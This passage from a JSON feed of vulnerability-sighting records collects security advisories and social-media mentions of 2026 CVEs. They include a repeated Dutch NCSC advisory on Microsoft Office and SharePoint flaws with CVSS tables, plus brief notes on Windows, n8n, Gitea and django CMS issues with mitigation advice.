"vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-21T16:00:54.559425Z"}, {"uuid": "53df1003-fb78-4541-bb0b-972e5e019af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr66vhvhzy2l", "content": "\ud83d\udccc CVE-2026-54992 - Heap-based buffer overflow in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code locally. https://www.cyberhub.blog/cves/CVE-2026-54992", "creation_timestamp": "2026-07-21T16:07:07.437306Z"}, {"uuid": "c25648ff-bd70-4ea9-a9b9-31ea83109be0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr6hbo6yox2i", "content": "\ud83d\udccc CVE-2026-54995 - Use after free in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over a network. https://www.cyberhub.blog/cves/CVE-2026-54995", "creation_timestamp": "2026-07-21T18:37:07.136990Z"}, {"uuid": "112bfa7a-69f8-4ea3-ab66-4d61af00f752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54481", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-94v3-77j7-vm48", "content": "", "creation_timestamp": "2026-07-21T22:35:42.591175Z"}, {"uuid": "19d1d530-65d3-47aa-9648-09e2337f51c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "published-proof-of-concept", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-22T00:00:03.542055Z"}, {"uuid": "7dc8e903-180f-4991-a2e9-f9b72abd02a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "published-proof-of-concept", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-22T00:00:03.676960Z"}, {"uuid": "2f019494-89a1-4c3f-937a-92fbe2a25265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54836", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54836.yaml", "content": "", "creation_timestamp": "2026-07-22T00:00:07.397516Z"}, {"uuid": "d789120d-14d3-40ef-8664-47ac3013fb45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "exploited", "source": "https://t.me/infosec_ita_notizie/2890", "content": "\u2728 CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON\nvia, InsicurezzaDigitale.com\n\n\ud83d\udd17 Leggi di pi\u00f9: https://insicurezzadigitale.com/cve-2026-5426-zero-day-in-knowledgedeliver-lms-sfruttato-per-distribuire-bluebeam-e-cobalt-strike-beacon/", "creation_timestamp": "2026-07-22T00:00:32.117617Z"}, {"uuid": "08c22598-6c1b-4f0e-8071-d0ad4fe0b340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54687", "type": "seen", "source": "https://gist.github.com/alon710/796cb46fa1a6e144f351d5ffd2b774d8", "content": "# CVE-2026-54687: CVE-2026-54687: Path Traversal via User-Controlled Database File Path in n8n-nodes-sqlite3\n\n> **CVSS Score:** 6.1\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54687\n\n## Summary\nPrior to version 1.0.0, the n8n-nodes-sqlite3 integration exposed the db_path parameter as an unrestricted node parameter. By default, n8n node parameters allow the evaluation of dynamic data expressions, meaning untrusted external input could be mapped to the database path. This vulnerability allows an external attacker to control which SQLite database file the n8n backend process attempts to open, leading to directory traversal outside of the intended directory context.\n\n## TL;DR\nA path traversal vulnerability in n8n-nodes-sqlite3 prior to v1.0.0 allows remote attackers to read, create, or overwrite arbitrary database-compatible files via a manipulated db_path parameter.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **Attack Complexity**: High\n- **Privileges Required**: None\n- **User Interaction**: Passive\n- **EPSS Score**: N/A\n- **Exploit Status**: Proof-of-Concept / Conceptual\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- n8n-nodes-sqlite3\n- **n8n-nodes-sqlite3**: < 1.0.0 (Fixed in: `1.0.0`)\n\n## Mitigation\n\n- Upgrade n8n-nodes-sqlite3 to version 1.0.0 or higher\n- Migrate to the credential-based V2 node architecture\n- Disable dynamic expression mapping on database paths\n\n**Remediation Steps:**\n1. Verify the current version of n8n-nodes-sqlite3 package.\n2. Execute npm update n8n-nodes-sqlite3 or update via the n8n community node interface.\n3. Rebuild workflows utilizing the SQLite node to adopt the V2 node definition.\n4. Ensure all db_path inputs are configured as static local paths and do not consume input from query, body, or header variables.\n\n## References\n\n- [Fix Commit](https://github.com/DangerBlack/n8n-node-sqlite3/commit/145a8876ff12375813bdcd4ae4fe78f460c53a98)\n- [Pull Request](https://github.com/DangerBlack/n8n-node-sqlite3/pull/25)\n- [GitHub Security Advisory](https://github.com/DangerBlack/n8n-node-sqlite3/security/advisories/GHSA-q7m3-rhxg-7vxr)\n- [Repository](https://github.com/DangerBlack/n8n-node-sqlite3)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54687) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-28T00:01:49.256000Z"}, {"uuid": "65252c7b-b4b6-488c-b7b8-4dc60e3490f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54623", "type": "seen", "source": "https://bsky.app/profile/thestandup.bsky.social/post/3mtuhyepjeo2x", "content": "CVE-2026-54623 in django CMS: move_plugin accepts a plugin_parent with no cycle check, so a plugin can be reparented under its own descendant. The recursive ancestor queries then never terminate and the request worker stalls. #dev", "creation_timestamp": "2026-08-24T23:38:46.465064Z"}, {"uuid": "15b03dac-ae5d-4293-9efc-fd40c889909b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-22T01:00:43.260736Z"}, {"uuid": "62c448c2-9955-4cb1-ae55-dcdeb7e9a486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| 